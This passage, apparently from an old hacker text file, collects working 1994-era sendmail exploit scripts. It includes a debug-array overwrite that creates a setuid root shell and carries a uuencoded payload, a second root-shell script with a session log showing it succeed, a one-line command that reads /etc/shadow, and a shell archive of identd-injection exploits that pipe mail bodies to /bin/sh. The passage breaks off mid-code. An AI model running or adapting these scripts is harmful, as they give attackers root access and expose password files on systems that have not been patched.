  1160.  
  1161. int **av;{struct sockaddr_in mya;struct servent *sp
  1162.  
  1163. ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
  1164.  
  1165. signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
  1166.  
  1167. 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
  1168.  
  1169. sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
  1170.  
  1171. ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
  1172.  
  1173. =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
  1174.  
  1175. (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
  1176.  
  1177. 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
  1178.  
  1179. (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
  1180.  
  1181. loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
  1182.  
  1183. ==0){for(x=2;x
  1184.  
  1185. -d########### = TeSTeD oN SunOS & SunOS with Sendmail8.6.4 =
  1186.  
  1187. This bug is present in all 8.X.X sendmail versions prior to 8.6.7 Here
  1188. follow excerpts from Michael Widner's message on Bugtraq with his script
  1189. for SunOs and Solaris, and another script tested on SunOS 5.2 with sendmail
  1190. 8.6.4:
  1191.  
  1192. "The important thing to know is that if your sendmail crashes when you pass
  1193. it something like -d387654321 then it can most likely be exploited to gain
  1194. root access.
  1195.  
  1196. Without going into much detail, -dx.y writes y into the debug array as
  1197. array[x]=y. Range checking is not performed properly on x, so it's possible
  1198. to pass negative integers that pass the range check. Find a key location
  1199. before the debug array, over write it, and you're in business.
  1200.  
  1201. The problem in trying to create a generic script is that the 'key'
  1202. locations have different offsets from the debug array for every version of
  1203. sendmail. Sometimes they're easy to locate if you can get a core, but
  1204. sometimes it is tough to get a core w/o already being root. Also, sometimes
  1205. a core tells you nothing.
  1206.  
  1207. The following script is Sun specific, and patches are now available for all
  1208. versions of Sun sendmail. The script creates a suid root owned copy of
  1209. /bin/sh and places it in /tmp. If you're hacking solaris, I'd suggest you
  1210. choose some program other than /bin/sh. "
  1211.  
  1212. #!/bin/sh
  1213.  
  1214. # This script takes advantage of sendmail's (mis)interpretation of
  1215.  
  1216. # very large unsigned ints as signed ints when accessing the debug
  1217.  
  1218. # array.  As it, it will work with the 8 versions of sun sendmail
  1219.  
  1220. # that I have access to.  Perhaps I'll update it if I find new
  1221.  
  1222. # versions of sun sendmail.
  1223.  
  1224. # NOTE:  This is a Sun specific script.  Don't expect it to work with
  1225.  
  1226. #        any non-sun sendmail.
  1227.  
  1228. # -Michael R. Widner (atreus)        3/25/94
  1229.  
  1230. #
  1231.  
  1232. # usage:  smdhole [/path/to/suid/sendmail]
  1233.  
  1234. #
  1235.  
  1236. # add /usr/ucb to path so solaris can find `whoami` (4/18/94)
  1237.  
  1238. path=$path:/usr/ucb
  1239.  
  1240. if [ $1x = x ]; then
  1241.  
  1242.         sendmail=/usr/lib/sendmail
  1243.  
  1244. else
  1245.  
  1246.         echo "Trying to abuse $1."
  1247.  
  1248.         sendmail=$1
  1249.  
  1250. fi
  1251.  
  1252. sm_size=`echo \`ls -l $sendmail\` | cut -d" " -f4,5 | sed "s/[^0-9]//g`
  1253.  
  1254. # prefix and suffix for -1 as unsigned integer.  Actually, this is
  1255.  
  1256. # off by two.  you figure out why.
  1257.  
  1258. prefix=42949
  1259.  
  1260. suffix=67297
  1261.  
  1262. case $sm_size in
  1263.  
  1264.         132064)
  1265.  
  1266.                 n1=${prefix}52864
  1267.  
  1268.                 n2=${prefix}52865
  1269.  
  1270.                 n3=${prefix}52866
  1271.  
  1272.                 echo Patched solaris w/o mx.
  1273.  
  1274.                 ;;
  1275.  
  1276.         134752) # ug! dropped a 0 before.  fixed 4/18/94
  1277.  
  1278.                 n1=${prefix}01656
  1279.  
  1280.                 n2=${prefix}01657
  1281.  
  1282.                 n3=${prefix}01658
  1283.  
  1284.                 echo Patched solaris sendmail.mx
  1285.  
  1286.                 ;;
  1287.  
  1288.         130860)
  1289.  
  1290.                 n1=${prefix}53016
  1291.  
  1292.                 n2=${prefix}53017
  1293.  
  1294.                 n3=${prefix}53018
  1295.  
  1296.                 echo Un-patched solaris w/o mx.
  1297.  
  1298.                 ;;
  1299.  
  1300.         133548) # ug! dropped a 0 before.  fixed 4/18/94
  1301.  
  1302.                 n1=${prefix}01808
  1303.  
  1304.                 n2=${prefix}01809
  1305.  
  1306.                 n3=${prefix}01810
  1307.  
  1308.                 echo Un-patched solaris sendmail.mx
  1309.  
  1310.                 ;;
  1311.  
  1312.         139264)
  1313.  
  1314.                 n1=${prefix}49609
  1315.  
  1316.                 n2=${prefix}49610
  1317.  
  1318.                 n3=${prefix}49611
  1319.  
  1320.                 echo Sun 4.1.3 sendmail - could be either of two versions
  1321.  
  1322.                 n4=${prefix}49265
  1323.  
  1324.                 n5=${prefix}49266
  1325.  
  1326.                 n6=${prefix}49267
  1327.  
  1328.                 ;;
  1329.  
  1330.         155648)
  1331.  
  1332.                 n1=${prefix}46953
  1333.  
  1334.                 n2=${prefix}46954
  1335.  
  1336.                 n3=${prefix}46955
  1337.  
  1338.                 echo Sun 4.1.3 sendmail.mx - could be either of two versions
  1339.  
  1340.                 n4=${prefix}46609
  1341.  
  1342.                 n5=${prefix}46610
  1343.  
  1344.                 n6=${prefix}46611
  1345.  
  1346.                 ;;
  1347.  
  1348.         *)
  1349.  
  1350.                 echo "I don't know what version of sendmail $sendmail is."
  1351.  
  1352.                 echo -n "Look for other versions of sendmail[.mx] on the "
  1353.  
  1354.                 echo "system and re-run this as:"
  1355.  
  1356.                 echo "     $0 /path/to/another/suid/sendmail"
  1357.  
  1358.                 echo
  1359.  
  1360.                 echo "Let me see if I can suggest anything..."
  1361.  
  1362.                 find /usr/lib /var/sadm/patch -name "*sendm*" -perm -4001
  1363.  
  1364. -ls 2>/dev/null
  1365.  
  1366.                 exit 1
  1367.  
  1368.                 ;;
  1369.  
  1370.         esac
  1371.  
  1372. cat << EOM > /tmp/sendmail.cf
  1373.  
  1374. DMether
  1375.  
  1376. DRlocalhost
  1377.  
  1378. CRlocalhost
  1379.  
  1380. CDMailer-Daemon root daemon uucp
  1381.  
  1382. DlFrom \$g  \$d
  1383.  
  1384. Do.:%@!^=/[]
  1385.  
  1386. Dq\$g\$?x (\$x)\$.
  1387.  
  1388. De\$j nothing
  1389.  
  1390. OA./aliases
  1391.  
  1392. OF0666
  1393.  
  1394. Og1
  1395.  
  1396. OL0
  1397.  
  1398. Oo
  1399.  
  1400. OPPostmaster
  1401.  
  1402. OQ.
  1403.  
  1404. Os
  1405.  
  1406. Ou1
  1407.  
  1408. T root daemon uucp
  1409.  
  1410. H?F?From: nobody
  1411.  
  1412. Mlocal, P=/tmp/in.telnet, F=flsSDFMmnP, S=10, R=20, A=mail -d \$u
  1413.  
  1414. Mprog,  P=/tmp/in.telnet,   F=lsDFMeuP,  S=10, R=20, A=sh -c \$u
  1415.  
  1416. S0
  1417.  
  1418. R\$+                    \$#local \$:\$1                 just rewrite
  1419.  
  1420. EOM
  1421.  
  1422. cat $0 | sed "s:atreus::" | uudecode
  1423.  
  1424. uncompress /tmp/in.telnet.Z
  1425.  
  1426. chmod 755 /tmp/in.telnet
  1427.  
  1428. mkdir /tmp/mail
  1429.  
  1430. cp /tmp/sendmail.cf /tmp/mail
  1431.  
  1432. cp /bin/sh /tmp/newsh
  1433.  
  1434. chmod 666 /tmp/newsh
  1435.  
  1436. $sendmail -d${n1}.116,${n2}.109,${n3}.112 `whoami`  <Q2RA)! %(atreus
  1437.  
  1438. M5$,).9]$%38!E!= H,(LP$LV*KJ*8(15)".N(AI2!6Q*(@ HPM6U6<4A@716atreus
  1439.  
  1440. M+H@"%QQ:D@!. ":U%L;2T'36E%H$D 0 H"!ML><#H0N.!B?A-(#4!5>PGGT9atreus
  1441.  
  1442. M068Z7==^%;%A[ BS!U6]5@P*#4V;. $L*)YY,P%@$LP"B' [-X#=O=56&'N!atreus
  1443.  
  1444. M]4'J<$(""V!.*1]U2@&Q4TJHY5J8,@FC%"+^00 3&, (" HC_B$@" 1@D*$@atreus
  1445.  
  1446. M))R!$, GQ!0$'1^!' ,. H&@4;"CP$@ EIKMFFatreus
  1447.  
  1448. MG%-6>24;66X)0AMAP %'&FZ< 8(98:3!1AURE)'G0A3TR::;<'H)IIADXKG0atreus
  1449.  
  1450. M"W2T <<+;I1QQQQH%#35+Y",%40(+OET@!X5 @ )!2)  AT MN;AF:Z\Q@K atreus
  1451.  
  1452. M 7F8E4([MJZ1:X<?AOC0JY DAY( ((!3UR__$-: )!)D"XT 8%!FEXLY)3"Latreus
  1453.  
  1454. M)>02\*LD[8X+Q )U'20!M_U\!$H DDB24W8*6"M*N."$H@(8 D!#P'B?P&03atreus
  1455.  
  1456. M0J 0\@,_,N"K\'C0@BBB5%15>Y(TV')3%QCH I  *.%R  0BI51#1!36 $ 4(1>7X0Y$5)%M!!R"TL$L(50[ atreus
  1457.  
  1458. MI8N8&A"-4WJ:/7H#?P%H]060%G&Z00P!DP-, 8NA9 D\&B*,Gatreus
  1459.  
  1460. M"Y$-X$=!(M1=D R9%R"'4$06M$/F!^0@E$)%? ^*GDO@R0% IQ I") %>LI"atreus
  1461.  
  1462. M9 A@BH*,@!0("0-/B**G-)"/#GJ20^9,(Q1H((00HSM ')Z'D$F,3@#3$ HXatreus
  1463.  
  1464. M$"**R!@@#P[$ D)JX<)$L&^%!4%&_/X'+&1\H0QT* ,>,/A#,H2!#F$ P _=atreus
  1465.  
  1466. M0 8 S &):G(B%.GP!3.PX0U'5.(/\9 &(B**44HL@QOLD(8RN4&+1,B"$X+0atreus
  1467.  
  1468. MA"0,(8Q<).(8T-"&-S3Q"W-\PQW.^(4^?I&/X88M=U*(0N_@%atreus
  1469.  
  1470. M,M2A#6W(0R/+,(:L]?$+0Z#"$Z3P!28D80I4Z*,6OT $37+2DZ 4Y27)\(8Oatreus
  1471.  
  1472. MG.&*8@@#&_!(AS?(80ZC9*4K82G+1M;REHJ,8R,?&1"=*T8I:]*(8S:A&-\K1CGKTHR -J4A'2M*2FO2D*$VI2E?*TI:Z]*4Patreus
  1473.  
  1474. MC:E,9TK3FMKTICC-J4YWRM.>^O2G0 VJ4(=*U*(:]:A(3:I2E\K4ICKUJ5"-atreus
  1475.  
  1476. MJE2G2M6J6O6J6,VJ5K?*U:YZ]:M@#:M8QTK6LIKUK&A-JUK7RM:VNO6M<(VKatreus
  1477.  
  1478. M7.=*U[K:]:YXS>M2_0,$UP&+!"'V!BPN"(5D !B !W4"6)U0;R&5*P Ratreus
  1479.  
  1480. M$()#[@$ L3XQ7"" 0;*HO H43OL'/SQ+%= ^+1]!"YT(VN=*=+atreus
  1481.  
  1482. MW>I:][K8S:YVM\O=[GKWN^ -KWC'2][RFO>\Z$VO>M?+WO:Z][WPC:]\YTO?atreus
  1483.  
  1484. +^MKWOOC-KW[WFUS=atreus
  1485.  
  1486.  atreus
  1487.  
  1488. endatreus
  1489.  
  1490. ----------------------- CuT HeRe -------------------------------------
  1491.  
  1492. Here it is the other script:
  1493.  
  1494. /* What follows is a sample run exercising the latest sendmail hole and the
  1495. script used to exploit this hole. This is a re-send; I neglected to escape
  1496. the "." in the sendmail script, leaving the program slightly truncated. To
  1497. fix this, I have escaped the . so prior to executing this you must remove
  1498. the \. (does that make any sense? :-) There was also a small problem with
  1499. nested quotes pointed out by Peter Wemm which I have fixed.
  1500.  
  1501. This is the "small version" of the script; it assumes you have a sane
  1502. sendmail.cf. In this manner, it is not a particularly robust "breakin
  1503. script" but I believe it does illustrate how to exploit the bug.
  1504.  
  1505. This program uses "calc.c," the program mentioned by Timothy Newsham in an
  1506. earlier message. The program has been modified slightly so that it gives
  1507. better results (it would occasionally fail to locate the offset of a config
  1508. given a buggy sendmail. The fix is to force a sync() after it generates a
  1509. coredump.) The remainder of the program was written by myself and a fellow
  1510. student, Steven Dake.
  1511.  
  1512. We have held off on releasing this script until we were able to notify the
  1513. people responsible for system security at NAU. Locals subscribing to this
  1514. digest beware; sendmail on our machines has been patched! :-) */
  1515.  
  1516. Script started on Thu Mar 24 00:54:54 1994
  1517.  
  1518. [pine] [1] date
  1519.  
  1520. Thu Mar 24 00:54:57 MST 1994
  1521.  
  1522. [pine] [2] whoami
  1523.  
  1524. jwa
  1525.  
  1526. [pine] [3] id
  1527.  
  1528. uid=4473(jwa) gid=400(student)
  1529.  
  1530. [pine] [4] ls -l sendbug.sh
  1531.  
  1532. -rwx------   1 jwa      student     4893 Mar 24 00:46 sendbug.sh*
  1533.  
  1534. [pine] [5] sendbug.sh
  1535.  
  1536. Creating setid0 ...
  1537.  
  1538. Creating calc...
  1539.  
  1540. Scanning core image for /nau/local/lib/mail/sendmail.cf...
  1541.  
  1542. Creating alias.sh ...
  1543.  
  1544. Creating fake alias file...
  1545.  
  1546. Faking alias pointer in new config file...
  1547.  
  1548. Creating the sendmail script...
  1549.  
  1550. Executing /usr/lib/sendmail -
  1551.  
  1552. d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429
  1553.  
  1554. 4935554.109,4294935555.46,4294935556.9
  1555.  
  1556. Version 8.6.4
  1557.  
  1558. 220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994
  1559.  
  1560. 00:55:21 -0700
  1561.  
  1562. 220 ESMTP spoken here
  1563.  
  1564. 250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you
  1565.  
  1566. 250 ... Sender ok
  1567.  
  1568. 250 ... Recipient ok
  1569.  
  1570. 354 Enter mail, end with "." on a line by itself
  1571.  
  1572. 250 AAA01803 Message accepted for delivery
  1573.  
  1574. 503 Need MAIL before RCPT
  1575.  
  1576. 503 Need MAIL command
  1577.  
  1578. 500 Command unrecognized
  1579.  
  1580. 500 Command unrecognized
  1581.  
  1582. 221 pine.cse.nau.edu closing connection
  1583.  
  1584. setid0 is a suid shell.  executing...
  1585.  
  1586. executing /bin/csh...
  1587.  
  1588. pine# whoami
  1589.  
  1590. root
  1591.  
  1592. pine# id
  1593.  
  1594. uid=0(root) gid=0(root)
  1595.  
  1596. pine# exit
  1597.  
  1598. pine# end of script.
  1599.  
  1600. . and here's the program.
  1601.  
  1602. #!/bin/sh
  1603.  
  1604. # exploit new sendmail bug to give us a root shell
  1605.  
  1606. # 24 mar 94  jwa/scd @nau.edu
  1607.  
  1608. # "short version"
  1609.  
  1610. # tested on sunos 5.2/sendmail 8.6.4
  1611.  
  1612. # location of sendmail
  1613.  
  1614. SENDMAIL=/usr/lib/sendmail
  1615.  
  1616. # location of original sendmail.cf file
  1617.  
  1618. CONFIG=/nau/local/lib/mail/sendmail.cf
  1619.  
  1620. #CONFIG=`strings $SENDMAIL | grep sendmail.cf`
  1621.  
  1622. # program to execute as root
  1623.  
  1624. SHELL=/bin/csh
  1625.  
  1626. TEMPDIR=/tmp/sendbug-tmp.$$
  1627.  
  1628. mkdir $TEMPDIR
  1629.  
  1630. chmod 700 $TEMPDIR
  1631.  
  1632. cd $TEMPDIR
  1633.  
  1634. cp $SENDMAIL sm
  1635.  
  1636. chmod 700 sm
  1637.  
  1638. echo "Creating setid0 ..."
  1639.  
  1640. cat > setid.c << _EOF_
  1641.  
  1642. /* set uid to zero, thus escaping the annoying csh and solaris sh
  1643.  
  1644.  * problem..
  1645.  
  1646.  *
  1647.  
  1648.  * if (getuid() != geteuid()) {
  1649.  
  1650.  *  printf("permission denied, you root-hacker you.\n");
  1651.  
  1652.  *  exit(1);
  1653.  
  1654.  * }
  1655.  
  1656.  *
  1657.  
  1658.  * .. must be run euid 0, obviously.  with no args it runs /bin/sh,
  1659.  
  1660.  * otherwise it runs the 1st arg.
  1661.  
  1662.  */
  1663.  
  1664. #include <stdio.h>
  1665.  
  1666. main(argc, argv)
  1667.  
  1668. int argc;
  1669.  
  1670. char *argv[];
  1671.  
  1672.  int uid;
  1673.  
  1674.  setuid(0);
  1675.  
  1676.  setgid(0);
  1677.  
  1678.  seteuid(0);  /* probabally redundant. */
  1679.  
  1680.  setegid(0);
  1681.  
  1682.  uid = getuid();
  1683.  
  1684.  if (uid != 0) {
  1685.  
  1686.   printf("setuid(0); failed!  aborting..\n");
  1687.  
  1688.   exit(1);
  1689.  
  1690.  }
  1691.  
  1692.  if (argc !=2) {
  1693.  
  1694.   printf("executing /bin/sh...\n");
  1695.  
  1696.   system("/bin/sh");
  1697.  
  1698.  }
  1699.  
  1700.   else
  1701.  
  1702.  {
  1703.  
  1704.   printf("executing %s...\n", argv[1]);
  1705.  
  1706.   system(argv[1]);
  1707.  
  1708.  }
  1709.  
  1710. _EOF_
  1711.  
  1712. cc -o setid0 setid.c
  1713.  
  1714. echo "Creating calc..."
  1715.  
  1716. cat > calc.c << _EOF_
  1717.  
  1718. /*
  1719.  
  1720.  * Determines offset in sendmail of
  1721.  
  1722.  * sendmail.cf file location.
  1723.  
  1724.  * author: timothy newsham
  1725.  
  1726.  */
  1727.  
  1728. #include <fcntl.h>
  1729.  
  1730. gencore()
  1731.  
  1732.   int pid;
  1733.  
  1734.   int fd[2];
  1735.  
  1736.   if(pipe(fd) < 0) {
  1737.  
  1738.     perror("pipe");
  1739.  
  1740.     exit(1);
  1741.  
  1742.     return(0);
  1743.  
  1744.   }
  1745.  
  1746.   pid = fork();
  1747.  
  1748.   if(!pid) {
  1749.  
  1750.     int f = open("./out", O_RDWR|O_CREAT, 0666);
  1751.  
  1752.     dup2(f, 1); dup2(fd[0], 0);
  1753.  
  1754.     close(f); close(fd[1]); close(fd[0]);
  1755.  
  1756.     execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
  1757.  
  1758.     perror("exec");
  1759.  
  1760.     exit(0);
  1761.  
  1762.   } else {
  1763.  
  1764.     sleep(2);
  1765.  
  1766.     kill(pid, 11);
  1767.  
  1768.   }
  1769.  
  1770.   close(fd[0]);
  1771.  
  1772.   close(fd[1]);
  1773.  
  1774. main(argc,argv)
  1775.  
  1776. char **argv;
  1777.  
  1778. int argc;
  1779.  
  1780.   unsigned int ConfFile,tTdvect,off;
  1781.  
  1782.   gencore();
  1783.  
  1784.   sync();   /* grr. */
  1785.  
  1786.   tTdvect = find("ZZZZZZZZ", "core");
  1787.  
  1788.   ConfFile = find(argv[1], "core");
  1789.  
  1790.   if(!tTdvect || !ConfFile) {
  1791.  
  1792.    return(1);
  1793.  
  1794.   }
  1795.  
  1796.   off = ConfFile - tTdvect;
  1797.  
  1798.  
  1799.  
  1800. printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",  off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
  1801.  
  1802.   off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
  1803.  
  1804. int find(pattern, file)
  1805.  
  1806. char *pattern,*file;
  1807.  
  1808.   int fd;
  1809.  
  1810.   int i, addr;
  1811.  
  1812.   char c;
  1813.  
  1814.   fd = open(file, 0);
  1815.  
  1816.   i = 0;
  1817.  
  1818.   addr = 0;
  1819.  
  1820.   while(read(fd, &c, 1) == 1) {
  1821.  
  1822.     if(pattern[i] == c)
  1823.  
  1824.       i++;
  1825.  
  1826.     else
  1827.  
  1828.       i=0;
  1829.  
  1830.     if(pattern[i] == '\0') {
  1831.  
  1832.       addr -= strlen(pattern);
  1833.  
  1834.       return(addr);
  1835.  
  1836.     }
  1837.  
  1838.     addr++;
  1839.  
  1840.   }
  1841.  
  1842.   return(0);
  1843.  
  1844. _EOF_
  1845.  
  1846. cc calc.c -o calc
  1847.  
  1848. echo "Scanning core image for $CONFIG..."
  1849.  
  1850. DEBUGFLAGS=`calc $CONFIG`
  1851.  
  1852. echo "Creating alias.sh ..."
  1853.  
  1854. echo "#!/bin/sh
  1855.  
  1856. # this program will be executed when mail is sent to the fake alias.
  1857.  
  1858. # since solaris sh and csh and tcsh refuse to run when euid != realuid,
  1859.  
  1860. # we instead run the program we compiled above.
  1861.  
  1862. /bin/chmod 6777 $TEMPDIR/setid0
  1863.  
  1864. /bin/chown root $TEMPDIR/setid0
  1865.  
  1866. /bin/sync
  1867.  
  1868. " > alias.sh
  1869.  
  1870. chmod 755 alias.sh
  1871.  
  1872. echo "Creating fake alias file..."
  1873.  
  1874. echo "yash: |$TEMPDIR/alias.sh" > aliases
  1875.  
  1876. echo "Faking alias pointer in new config file..."
  1877.  
  1878. egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
  1879.  
  1880. echo "
  1881.  
  1882. # hacks follow
  1883.  
  1884. OA/$TEMPDIR/aliases                     # our fake alias file
  1885.  
  1886. Ou0                                     # user ID to run as
  1887.  
  1888. Og0                                     # group ID to run as
  1889.  
  1890. DZWHOOP-v1.0" >> /tmp/sm.cf
  1891.  
  1892. echo "Creating the sendmail script..."
  1893.  
  1894. cat > sendmail.script << _EOF_
  1895.  
  1896. helo
  1897.  
  1898. mail from: <nobody>
  1899.  
  1900. rcpt to: <yash>
  1901.  
  1902. data
  1903.  
  1904. yet another sendmail hole?  suid whoop?
  1905.  
  1906. \.                                      # oops.. delete \ prior to execution
  1907.  
  1908. quit
  1909.  
  1910. _EOF_
  1911.  
  1912. echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
  1913.  
  1914. $SENDMAIL $DEBUGFLAGS -bs < sendmail.script
  1915.  
  1916. # give it time to execute.
  1917.  
  1918. sleep 4
  1919.  
  1920. # cleanup in 5 seconds
  1921.  
  1922. (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &
  1923.  
  1924. if [ -u setid0 ]
  1925.  
  1926. then
  1927.  
  1928.  echo "setid0 is a suid shell.  executing..."
  1929.  
  1930.  cd /
  1931.  
  1932.  $TEMPDIR/setid0 /bin/csh
  1933.  
  1934.  echo "end of script."
  1935.  
  1936.  exit 0
  1937.  
  1938. else
  1939.  
  1940.  echo "setid0 is not suid; script failed."
  1941.  
  1942.  echo "apparently, you don't have the bug.  celebrate :-)"
  1943.  
  1944.  exit 1
  1945.  
  1946. fi
  1947.  
  1948. --------------------------------- CuT HeRe --------------------------------
  1949.  
  1950. -oE/filename bounce = 8.6.7 =
  1951.  
  1952. Version affected: 8.6.7
  1953.  
  1954. A bug in Sendmail 8.6.7 allows anyone to read any file, including the
  1955. shadowed password file:
  1956.  
  1957. /usr/lib/sendmail -oE/etc/shadow bounce
  1958. From: your_username
  1959.  
  1960. 8.6.9 = 8.6.9 or earlier =
  1961.  
  1962. Mail any file to yourself.
  1963.  
  1964. ------8<-------------------Cut Here--------------------8<-------------------
  1965.  
  1966. # This is a shell archive.  Save it in a file, remove anything before
  1967.  
  1968. # this line, and then unpack it by entering "sh file".  Note, it may
  1969.  
  1970. # create directories; files and directories will be owned by you and
  1971.  
  1972. # have default permissions.
  1973.  
  1974. #
  1975.  
  1976. # This archive contains:
  1977.  
  1978. #
  1979.  
  1980. #       description
  1981.  
  1982. #       sm869.local
  1983.  
  1984. #       sm869.remote
  1985.  
  1986. #
  1987.  
  1988. echo x - description
  1989.  
  1990. sed 's/^X//' >description << 'END-of-description'
  1991.  
  1992. X
  1993.  
  1994. XProgram: sm869.remote
  1995.  
  1996. X
  1997.  
  1998. Xyou can:
  1999.  
  2000. X
  2001.  
  2002. X   run the body of the mail through a shell if
  2003.  
  2004. X   sendmail is allowed to run a shell.
  2005.  
  2006. X
  2007.  
  2008. X   write the whole message to a file.
  2009.  
  2010. X
  2011.  
  2012. X   have it send back a file to an account you specify.
  2013.  
  2014. X
  2015.  
  2016. XThe last option is supposed to remove the file after sending
  2017.  
  2018. Xit but I found that it hasn't in my tests.  Why?  Well
  2019.  
  2020. Xit has multiple recipients, one of the recipients is a
  2021.  
  2022. Xrecipient that will never go through.  So the data file
  2023.  
  2024. Xgets kept around until it gives up on that host.  This
  2025.  
  2026. Xcan be several days.
  2027.  
  2028. X
  2029.  
  2030. XProblems:
  2031.  
  2032. X
  2033.  
  2034. X  The action you specify will happen every 30minutes (the
  2035.  
  2036. X  queue time, may be different) until it gives up sending
  2037.  
  2038. X  to the unreachable host.  (Actually this may be false.
  2039.  
  2040. X  I haven't left it around long enough to see if this happens.
  2041.  
  2042. X  Perhaps sendmail is smart enough to remove the other recipients
  2043.  
  2044. X  that did get delievered from the queue file).
  2045.  
  2046. X
  2047.  
  2048. X  If you send a file back to yourself it may get removed
  2049.  
  2050. X  several days later.  If you get the password file or
  2051.  
  2052. X  some other critical file you had better be ready to clean
  2053.  
  2054. X  up.
  2055.  
  2056. X
  2057.  
  2058. X  Lots of logs.  Its fairly obvious from the log files that
  2059.  
  2060. X  some hokey pokey is going on.  If you're sending a file
  2061.  
  2062. X  back to yourself then you're pointing a finger at one
  2063.  
  2064. X  of your accounts
  2065.  
  2066. X
  2067.  
  2068. XYou have to go into the program to change the options you
  2069.  
  2070. Xwant.  The code is fairly well commented so this shouldn't
  2071.  
  2072. Xbe any problem.
  2073.  
  2074. X
  2075.  
  2076. XProgram: sm869.local
  2077.  
  2078. X
  2079.  
  2080. XSame thing as above really except it works even if sendmail
  2081.  
  2082. Xdoesnt check identd and you dont have to specify an unreachable
  2083.  
  2084. Xhost.  The file goes straight to the queue.
  2085.  
  2086. X
  2087.  
  2088. END-of-description
  2089.  
  2090. echo x - sm869.local
  2091.  
  2092. sed 's/^X//' >sm869.local << 'END-of-sm869.local'
  2093.  
  2094. X#!/bin/sh
  2095.  
  2096. X#
  2097.  
  2098. X# Exploit hole in sendmail 8.6.9 and earlier.
  2099.  
  2100. X#
  2101.  
  2102. X
  2103.  
  2104. X# Either write a file or run a program.
  2105.  
  2106. X#ACTION="|/tmp/runme"
  2107.  
  2108. XACTION="/tmp/writeme"
  2109.  
  2110. X
  2111.  
  2112. X# Data file to read from and then remove
  2113.  
  2114. XDATAFILE="/tmp/abc"
  2115.  
  2116. X#DATAFILE=""
  2117.  
  2118. X
  2119.  
  2120. X# Who to run as
  2121.  
  2122. XRUNAS="bin"
  2123.  
  2124. X
  2125.  
  2126. X# Who to send mail to
  2127.  
  2128. XWHOAMI=`whoami`
  2129.  
  2130. XSENDTO=$WHOAMI
  2131.  
  2132. X#SENDTO="someone-else"
  2133.  
  2134. X
  2135.  
  2136. X# Build up arg and send it off
  2137.  
  2138. Xif [ -n "$DATAFILE" ] ; then
  2139.  
  2140. XARG="$WHOAMI
  2141.  
  2142. XD$DATAFILE
  2143.  
  2144. XC:$RUNAS
  2145.  
  2146. XR\"$ACTION\""
  2147.  
  2148. Xelse
  2149.  
  2150. XARG="$WHOAMI
  2151.  
  2152. XC:$RUNAS
  2153.  
  2154. XR\"$ACTION\""
  2155.  
  2156. Xfi
  2157.  
  2158. Xsendmail -odq -F"$ARG" $SENDTO << _END_
  2159.  
  2160. XThis is appearing in the mailbox
  2161.  
  2162. Xand also being piped to the program or
  2163.  
  2164. Xwritten to the file, UNLESS you specify
  2165.  
  2166. Xa datafile above.  In that case the datafile
  2167.  
  2168. Xwill be written and erased and this text will
  2169.  
  2170. Xbe left (not deleted) in the queue directory.
  2171.  
  2172. X_END_
  2173.  
  2174. X
  2175.  
  2176. END-of-sm869.local
  2177.  
  2178. echo x - sm869.remote
  2179.  
  2180. sed 's/^X//' >sm869.remote << 'END-of-sm869.remote'
  2181.  
  2182. X#!/bin/sh
  2183.  
  2184. X#
  2185.  
  2186. X# exploit for sm869 or worse
  2187.  
  2188. X# identd must not be enabled (port 113 must be free)
  2189.  
  2190. X
  2191.  
  2192. X# this must be a host that mail can go to (MX not pointing elsewhere)
  2193.  
  2194. X# that we cant reach right now (ie. host doesnt exist anymore)
  2195.  
  2196. XUNREACHABLE="goofy.uhcc.hawaii.edu"
  2197.  
  2198. X
  2199.  
  2200. X# Commands to run on remote host
  2201.  
  2202. XCOMMANDS="touch /tmp/gotcha"
  2203.  
  2204. X
  2205.  
  2206. X# what host to run it on
  2207.  
  2208. XTARGET="localhost"
  2209.  
  2210. X
  2211.  
  2212. X# work in a temp dir
  2213.  
  2214. XTD=/tmp/.Xwork.$$
  2215.  
  2216. Xmkdir $TD
  2217.  
  2218. Xcd $TD
  2219.  
  2220. X
  2221.  
  2222. Xcat > a.c <<_END_
  2223.  
  2224. X#include <sys/types.h>
  2225.  
  2226. X#include <sys/socket.h>
  2227.  
  2228. X#include <netinet/in.h>
  2229.  
  2230. X
  2231.  
  2232. X/* run body of mail through shell run as daemon */
  2233.  
  2234. X#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed
  2235.  
  2236. '1,/^$/d'|/bin/sh\"\nHXxx:
  2237.  
  2238. "
  2239.  
  2240. X
  2241.  
  2242. X#ifdef other_possibilities
  2243.  
  2244. X/* write to a file as daemon */
  2245.  
  2246. X#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
  2247.  
  2248. X/* send back a file to someone and erase it */
  2249.  
  2250. X#define REPLY "USERID : UNIX :
  2251.  
  2252. a\nD/tmp/sendtome\nRmy@address.here\nHXxx: "
  2253.  
  2254. X#endif
  2255.  
  2256. X
  2257.  
  2258. Xreadline(fd, buf, len)
  2259.  
  2260. Xchar *buf;
  2261.  
  2262. X{
  2263.  
  2264. X    int i = 0;
  2265.  
  2266. X
  2267.  
  2268. X    while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
  2269.  
  2270. X       if(buf[i] == '\r' || buf[i] == '\n')
  2271.  
  2272. X           break;
  2273.  
  2274. X       i++;
  2275.  
  2276. X    }
  2277.  
